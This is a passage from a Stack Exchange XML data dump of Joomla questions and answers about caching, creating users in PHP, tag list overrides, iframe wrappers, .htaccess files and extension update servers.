show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla 3.4.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the site&#xA;&lt;a href=&quot;http://www.suffolklgbtnetwork.org.uk&quot; rel=&quot;nofollow noreferrer&quot;&gt;Suffolk LGBT Network&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the article with the text I've changed:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Yd2QN.png&quot; alt=&quot;here is the text I have changed&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure this is the right article, so why isn't my change showing on the live site? I've been trying to get this to update since last Friday (4 days)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is very much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cache setting is OFF&#xA;&lt;a href=&quot;https://i.stack.imgur.com/G7fWF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G7fWF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8549" LastEditorUserId="8549" LastEditDate="2016-06-18T07:39:14.797" LastActivityDate="2016-06-18T07:39:14.797" Title="I can't get changes to a published article to show" Tags="|joomla-3.4|articles|" AnswerCount="2" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="16834" PostTypeId="2" ParentId="16833" CreationDate="2016-06-13T21:58:45.973" Score="4" Body="&lt;p&gt;In this case the article is loaded by the menu item home, check the correct article here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you using some cache extension for your site?, check for possible extensions and&lt;br/&gt;  clear the cache.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note:&lt;/strong&gt; For security reasons, create a backup and upgrade your site to the latest version&lt;br/&gt; available, at this time is J3.5.1.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-06-13T21:58:45.973" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16835" PostTypeId="2" ParentId="12323" CreationDate="2016-06-14T03:18:56.457" Score="0" Body="&lt;p&gt;I realy belive you need know Zoo from Yootheme and Zoolanders module filter. &#xA;This complete solution for your needs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://yootheme.com/zoo/&quot; rel=&quot;nofollow&quot;&gt;http://yootheme.com/zoo/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.zoolanders.com/extensions/zoofilter&quot; rel=&quot;nofollow&quot;&gt;https://www.zoolanders.com/extensions/zoofilter&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-06-14T03:18:56.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16836" PostTypeId="1" AcceptedAnswerId="16837" CreationDate="2016-06-14T03:56:52.877" Score="3" ViewCount="481" Body="&lt;p&gt;I am creating a new user using this data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.application.component.helper');&#xA;$params = 'com_users';&#xA;$usersParams = JComponentHelper::getParams($params);&#xA;$new_user = JFactory::getUser(0);&#xA;$config = JComponentHelper::getParams('com_users');&#xA;$defaultUserGroup = $config-&amp;gt;get('new_usertype', 2);&#xA;$jdata = array(&#xA;  &quot;name&quot; =&amp;gt; $name,&#xA;  &quot;username&quot; =&amp;gt; $email,&#xA;  &quot;password&quot; =&amp;gt; $password,&#xA;  &quot;password2&quot; =&amp;gt; $password,&#xA;  &quot;email&quot; =&amp;gt; $email,&#xA;  &quot;sendEmail&quot; =&amp;gt; 1,&#xA;  &quot;groups&quot; =&amp;gt; array($defaultUserGroup)&#xA;);&#xA;&#xA;$useractivation = $usersParams-&amp;gt;get('useractivation');&#xA;if ($useractivation === 1) {&#xA;  jimport('joomla.user.helper');&#xA;  $jdata['activation'] = JUtility::getHash(JUserHelper::genRandomPassword());&#xA;  $jdata['block'] = 1; // block the user&#xA;} else {&#xA;  $jdata['block'] = 0; // don't block the user&#xA;}&#xA;&#xA;//Write to database&#xA;if (!$new_user-&amp;gt;bind($jdata)) {&#xA;  throw new Exception(&quot;Could not bind data. Error: &quot; . $new_user-&amp;gt;getError());&#xA;  return false;&#xA;}&#xA;if (!$new_user-&amp;gt;save()) {&#xA;  throw new Exception(&quot;Could not save user. Error: &quot; . $new_user-&amp;gt;getError());&#xA;  return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works perfectly, but the new users are created with the &quot;Receive System Emails&quot; set to yes which means all new users are getting the admin emails. How can I disable this feature when creating a new user this way?&lt;/p&gt;&#xA;" OwnerUserId="8550" LastActivityDate="2016-06-14T06:23:07.613" Title="Create user with PHP with &quot;Receive System Emails&quot; set to no" Tags="|joomla-3.x|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16837" PostTypeId="2" ParentId="16836" CreationDate="2016-06-14T06:23:07.613" Score="5" Body="&lt;p&gt;In &lt;code&gt;$jdata&lt;/code&gt; array you are setting &lt;code&gt;sendEmail&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt; which is activating the &quot;Receive System Emails&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just set &lt;code&gt;sendEmail&lt;/code&gt; to  &lt;code&gt;0&lt;/code&gt; and you are done :)&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-06-14T06:23:07.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16841" PostTypeId="1" CreationDate="2016-06-14T09:59:46.263" Score="0" ViewCount="94" Body="&lt;p&gt;I use Mandrill to send my transactional emails, so JMailer sends the data to Mandrill, Mandrill wraps it with a nice template and voila!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine, but several of my customers have asked if I could make a button out of the LOGIN or CONFIRM links. Is there any way, without hacking the core, to add a little bit of html to the transactional text? Normally I just change the text in the language files, but that one doesnt accept HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to change it?&lt;/p&gt;&#xA;" OwnerUserId="5310" LastActivityDate="2016-11-14T02:06:27.190" Title="Add html to transactional email" Tags="|php|emails|jhtml|translation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16843" PostTypeId="1" AcceptedAnswerId="17050" CreationDate="2016-06-14T10:15:19.840" Score="3" ViewCount="1068" Body="&lt;p&gt;I'm working on an override for &lt;strong&gt;&lt;code&gt;com_content&lt;/code&gt; category blog view&lt;/strong&gt; and need an &lt;strong&gt;unordered list&lt;/strong&gt; of article tags in &lt;code&gt;blog.php&lt;/code&gt;. Every tag should be wrapped in an &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;[tag]&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;[tag]&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;[tag]&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;[tag]&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After an intense search I found the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;?php echo JText::_('JOPTION_SELECT_TAG'); ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('select.options', JHtml::_('tag.options', true, true), 'value', 'text', $this-&amp;gt;state-&amp;gt;get('filter.tag')); ?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gives me a dropdown box for all tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/i8mqz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i8mqz.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i change it to an unordered list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I played around a lot but can't get the tag list at top of my category blog.&#xA;The code from johanpw works, but only for each article item, so that I get duplicates. Is there any way to get every article tag from the selected category/subcategories only once in a list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it has to be done by a template like the blog_children.php template to render all the tags which will be then loaded in the blog.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My coding skills are to low to solve this problem :(&lt;/p&gt;&#xA;" OwnerUserId="8554" LastEditorUserId="126" LastEditDate="2017-01-14T14:25:47.343" LastActivityDate="2017-01-14T14:25:47.343" Title="How do I get an unordered list of article tags in category blog view?" Tags="|joomla-3.x|overrides|template-override|tags|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16844" PostTypeId="2" ParentId="16821" CreationDate="2016-06-14T12:43:42.520" Score="1" Body="&lt;p&gt;I got to solve this via: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;setting the parametters in the Administrator Web Side -&gt; Menus -&gt; Edit Item -&gt; 'Portada' (Inicio) -&gt; Details, Category and Options Tabs&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Content -&gt;Articles-&gt; Edit Category -&gt; 'Portada' -&gt; Options Tab -&gt; Alternative Layout (List)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8402" LastEditorUserId="8402" LastEditDate="2016-06-14T13:38:38.790" LastActivityDate="2016-06-14T13:38:38.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16845" PostTypeId="2" ParentId="15721" CreationDate="2016-06-14T15:17:35.337" Score="0" Body="&lt;p&gt;I run into the same problem after having installed server certificates over LetsEncrypt: IframeWrapper links ended in an empty page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the IframeWrapper option &lt;code&gt;Metadata / Secure&lt;/code&gt; from &lt;strong&gt;IGNORE&lt;/strong&gt; to &lt;strong&gt;ON&lt;/strong&gt; or &lt;strong&gt;OFF&lt;/strong&gt; - nothing changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the source code of the Iframe with firefox developer tools, I noticed, that the Iframe link after each change of the avove options started with &lt;strong&gt;http&lt;/strong&gt;.  After manually changing it in the source code tho &lt;strong&gt;https,&lt;/strong&gt; the Iframe content suddenly appeared. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This helped me to find the very simple solution of the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla Backend go to the properties of each IframeWrapper menu link and check the option &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Advanced / Auto Add&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;from &lt;strong&gt;YES&lt;/strong&gt; to &lt;strong&gt;NO&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="7874" LastActivityDate="2016-06-14T15:17:35.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16846" PostTypeId="2" ParentId="15721" CreationDate="2016-06-14T15:50:11.073" Score="1" Body="&lt;p&gt;Check your browser console (press &lt;kbd&gt;F12&lt;/kbd&gt; to show) and see if there are any errors. It's likely that the website you want to show in your IFrame don't allow external sites to load the content. An example of this is Google, and trying to load google.com inside an IFrame gives the following error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Refused to display '&lt;a href=&quot;https://www.google.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.google.com&lt;/a&gt;' in a frame because it set 'X-Frame-Options' to 'SAMEORIGIN'.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can find some more information here: &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options&lt;/a&gt; and here: &lt;a href=&quot;https://stackoverflow.com/questions/6666423/overcoming-display-forbidden-by-x-frame-options&quot;&gt;https://stackoverflow.com/questions/6666423/overcoming-display-forbidden-by-x-frame-options&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, if you can edit the page you're trying to display in the IFrame, you can solve it by changing the server settings. If not, you should respect the page owners request and don't include the page in a IFrame.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-06-14T15:50:11.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16847" PostTypeId="2" ParentId="16843" CreationDate="2016-06-14T15:59:00.837" Score="4" Body="&lt;p&gt;Try the following code and see if it gives you the output you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  &amp;lt;?php foreach ($this-&amp;gt;item-&amp;gt;tags-&amp;gt;itemTags as $tag) : &#xA;    echo &quot;&amp;lt;li&amp;gt;&quot; . $tag-&amp;gt;title . &quot;&amp;lt;/li&amp;gt;&quot;; &#xA;  endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;code&gt;$tag-&amp;gt;title&lt;/code&gt; with &lt;code&gt;$tag-&amp;gt;alias&lt;/code&gt; if you prefer to display the alias.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-06-14T15:59:00.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16848" PostTypeId="1" AcceptedAnswerId="17074" CreationDate="2016-06-14T21:49:36.153" Score="6" ViewCount="1697" Body="&lt;p&gt;I am using the Calendar form field type and am experiencing an odd result. I am passing in a date of 03/23/2016 as a string and it is instead showing 03/22/2016. This is true for all dates I have tested. They are always displayed 1 day earlier than the input I provided (e.g. 05/31/2016 will render as 05/30/2016). Here is how I am rendering the field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $myDate = '03/23/2016';&#xA;    echo $this-&amp;gt;form-&amp;gt;getInput('date', null, $myDate);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the XML for that field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;  description=&quot;COM_MYCOMPONENT_FORM_WEBINAR_DATE_DESC&quot;&#xA;  format=&quot;%m/%d/%Y&quot;&#xA;  label=&quot;COM_MYCOMPONENT_FORM_WEBINAR_DATE_LBL&quot;&#xA;  name=&quot;date&quot;&#xA;  type=&quot;calendar&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I print the date to the screen, it is the correct date. It is only when I put it into the calendar field that it reverts back one day. Any idea why this might be occurring and how I can fix it?&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2019-05-08T13:00:30.567" Title="Calendar Field Showing Incorrect Date" Tags="|joomla-3.x|form-fields-types|calendar|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16852" PostTypeId="1" AcceptedAnswerId="16854" CreationDate="2016-06-15T22:05:40.290" Score="1" ViewCount="885" Body="&lt;p&gt;The problem starts with my attempt to use CDN77: After installing and setting cdn plugin, all my source files' URL turn to the cdn provider's URL. Everything is working except font awesome icons, which generates some cross domain problem. According to this page: &lt;a href=&quot;https://client.cdn77.com/support/knowledgebase/cdn-resource/firefox-not-loading-cross-domain-name-fonts&quot; rel=&quot;nofollow&quot;&gt;https://client.cdn77.com/support/knowledgebase/cdn-resource/firefox-not-loading-cross-domain-name-fonts&lt;/a&gt;, and because my server is apache, I added following to the end of my htaccess.txt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;FilesMatch &quot;\.(ttf|otf|eot|woff|woff2)$&quot;&amp;gt;&#xA;  &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;    Header set Access-Control-Allow-Origin &quot;*&quot;&#xA;  &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesnt work. I think it could be because mine is htaccess.txt file while the instruction is targeting .htaccess file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my htaccess.txt file I see only &lt;code&gt;#&lt;/code&gt; signs and texts and no &lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt; block at all, which also raises my doubt that the two files should have different syntax. I tried what this &lt;a href=&quot;https://docs.joomla.org/How_do_you_convert_an_htaccess.txt_file_into_a_.htaccess_file%3F&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt; says but if I change htaccess.txt to .htaccess, I will always get a 500 error. So I am stuck here, could anyone please help?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2016-06-16T03:12:14.740" Title="Is the syntax of htaccess.txt same with .htaccess?" Tags="|.htaccess-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16854" PostTypeId="2" ParentId="16852" CreationDate="2016-06-16T03:12:14.740" Score="1" Body="&lt;p&gt;You have to rename &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt; if you want the settings to take effect on your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;From the &lt;a href=&quot;https://httpd.apache.org/docs/current/howto/htaccess.html&quot; rel=&quot;nofollow&quot;&gt;Apache documentation&lt;/a&gt;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.htaccess files (or &quot;distributed configuration files&quot;) provide a way&#xA;  to make configuration changes on a per-directory basis. A file,&#xA;  containing one or more configuration directives, is placed in a&#xA;  particular document directory, and the directives apply to that&#xA;  directory, and all subdirectories thereof.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you have noticed, even the smallest error in this file will cause a 500 error, but the one that comes with Joomla usually works without any problems when you rename it to &lt;code&gt;.htaccess&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Make sure you haven't made any changes to the original file. You can get the original file from here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/htaccess.txt&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/htaccess.txt&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the following lines and consider commenting them out (by adding a &lt;code&gt;#&lt;/code&gt; at the beginning of each line) if you still get 500 errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymlinks&#xA;Options -Indexes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should also pay attention to the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# RewriteBase /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're having trouble with 404 errors (links not working), and you access Joomla using a subdirectory (e.g. &lt;a href=&quot;http://example.com/Joomla&quot; rel=&quot;nofollow&quot;&gt;http://example.com/Joomla&lt;/a&gt;), you have to change it to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /Joomla&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any line starting with the sign &lt;code&gt;#&lt;/code&gt; are treated as comments and completely ignored by the system. You'll notice the file has a lot of useful comments. &lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-06-16T03:12:14.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16856" PostTypeId="2" ParentId="6988" CreationDate="2016-06-16T05:35:41.323" Score="0" Body="&lt;p&gt;If&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$test = $params-&amp;gt;get('star_slides');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print_r($test);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;obtain a similar array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [image] =&amp;gt; Array ( [0] =&amp;gt; images/blog/blog_01.jpg [1] =&amp;gt; images/blog/blog_02.jpg [2] =&amp;gt; images/blog/blog_03.jpg ) [image_alt] =&amp;gt; Array ( [0] =&amp;gt; Web Designer [1] =&amp;gt; Graphic Designer [2] =&amp;gt; Painting Outdoors ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($test['image'] as $k =&amp;gt; $v) {&#xA;  echo $v; // image&#xA;  echo $test['image_alt'][$k]; // etc.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Luk&lt;/p&gt;&#xA;" OwnerUserId="7417" LastActivityDate="2016-06-16T05:35:41.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16857" PostTypeId="1" AcceptedAnswerId="16860" CreationDate="2016-06-16T06:38:08.367" Score="0" ViewCount="62" Body="&lt;p&gt;I want to create a href link in my Joomla articles pointing out to the one which is associated with its one. I used to copy an old article and edit its content its time. So I ask if there is any &lt;em&gt;joomla code&lt;/em&gt; which I can use to the &lt;em&gt;src&lt;/em&gt; without having to modify it each time. I know that I can do this with jQuery but I prefer use a Joomla way if is any.&lt;/p&gt;&#xA;" OwnerUserId="1968" LastActivityDate="2016-06-16T08:26:07.400" Title="Creating href links pointing to the associated article in the other language" Tags="|articles|language|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16860" PostTypeId="2" ParentId="16857" CreationDate="2016-06-16T08:26:07.400" Score="0" Body="&lt;p&gt;OK I used jquery and worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a class &quot;testimonial-crosslink&quot; to my href link in all articles like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;testimonial-crosslink&quot; href=&quot;#&quot;&amp;gt;here&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JS:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var testimonial_crosslink_href = $('.mod-languages ul.lang-inline li:not(.lang-active) a').attr('href');&#xA;$('.testimonial-crosslink').attr('href', testimonial_crosslink_href);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1968" LastActivityDate="2016-06-16T08:26:07.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16863" PostTypeId="1" AcceptedAnswerId="16864" CreationDate="2016-06-16T09:37:23.010" Score="2" ViewCount="84" Body="&lt;p&gt;When deploying an update server for a basic extension, I'll normally use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updateservers&amp;gt;&#xA;    &amp;lt;server type=&quot;extension&quot; name=&quot;Something&quot; priority=&quot;1&quot;&amp;gt;http://example.com/update.xml&amp;lt;/server&amp;gt;&#xA;&amp;lt;/updateservers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I'm unsure as to what the &lt;code&gt;priority&lt;/code&gt; attribute is for. I looked on the Joomla Docs and the description says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The priority of the update server&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which I find extremely vague.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed some light as to how it works?&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-06-16T10:41:57.217" Title="Extension update server &quot;priority&quot; attribute" Tags="|joomla-3.x|extension-update|manifest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16864" PostTypeId="2" ParentId="16863" CreationDate="2016-06-16T10:41:57.217" Score="5" Body="&lt;p&gt;When you have multiple update servers, you can set a different priority for each. so you can control the order in which the update servers are checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the first one is available, it won't bother checking the rest&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference Book - &lt;a href=&quot;https://www.packtpub.com/web-development/learning-joomla-3-extension-development-third-edition&quot;&gt;Learning Joomla! 3 Extension Development&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-06-16T10:41:57.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16867" PostTypeId="2" ParentId="15784" CreationDate="2016-06-16T12:34:18.963" Score="0" Body="&lt;p&gt;I had the exact same problem and I solved it in 2 simple steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In Joomla! go to plugins / System - Page Cache&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the plugin there is an option to exclude menu items. I excluded the menu item where the login form was located.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's it. Now it works on my site. I can login, logout repeatedly and never get the invalid token error.&#xA;NOTE: On logout, my users are redirected to the same page where they logged in (the one I excluded from system - page cache). I don't know if it plays a role or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="8567" LastActivityDate="2016-06-16T12:34:18.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16868" PostTypeId="2" ParentId="16841" CreationDate="2016-06-16T13:12:19.340" Score="0" Body="&lt;p&gt;I recomend you to use acymailing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one of the later version they include a way to override Joomla messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to make it work you first has to enable the plugin acymailingclassmail (Override Joomla mailing system plugin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then go to components-&gt;acymailing-&gt;newsleters -&gt;Joomla Notificactions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where yuo can modify them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps you.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-06-16T13:12:19.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16869" PostTypeId="1" CreationDate="2016-06-16T15:00:59.397" Score="0" ViewCount="155" Body="&lt;p&gt;I need a multi user resume website in joomla , where anyone can create a unique login and prepare  resume (similar to one page website). Is there any template/extension available for this ??&lt;/p&gt;&#xA;" OwnerUserId="8568" LastEditorUserId="7394" LastEditDate="2016-06-17T07:16:59.053" LastActivityDate="2016-06-17T07:16:59.053" Title="Multi user resume manager in joomla" Tags="|joomla-3.x|extensions|user|" AnswerCount="1" CommentCount="1" ClosedDate="2016-06-17T08:04:58.430" ContentLicense="CC BY-SA 3.0" />
  <row Id="16871" PostTypeId="2" ParentId="16833" CreationDate="2016-06-16T17:29:11.000" Score="2" Body="&lt;p&gt;Caching is my greatest enemy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1.&lt;/strong&gt; Check Joomla Cache settings. (which you've done).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2.&lt;/strong&gt; Clear Joomla Global cache and purge, even if you don't see any changes. Just in case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3.&lt;/strong&gt; Clear your browser cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 4.&lt;/strong&gt; Check the DNS manager. For example, if you're using Cloudflare, there could be caching enabled. Purge the files, or disable caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 5.&lt;/strong&gt; Your host might have caching enabled. Example, SiteGround. Flush the cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 6.&lt;/strong&gt; Make sure you're really editing the right page. Go to the Menu Manager and look for the menu item of the page you're trying to edit. Confirm the single article is set to the article you've been editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 7.&lt;/strong&gt; Make sure you're really editing the right site!!! Check your urls, double check your admin urls. Make sure you're not on a staging version or a dev version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all that, if you've ruled out your host, your dns, human error, browser cache and joomla cache...you'll probably need someone with a higher level of skill to get into the site and do some 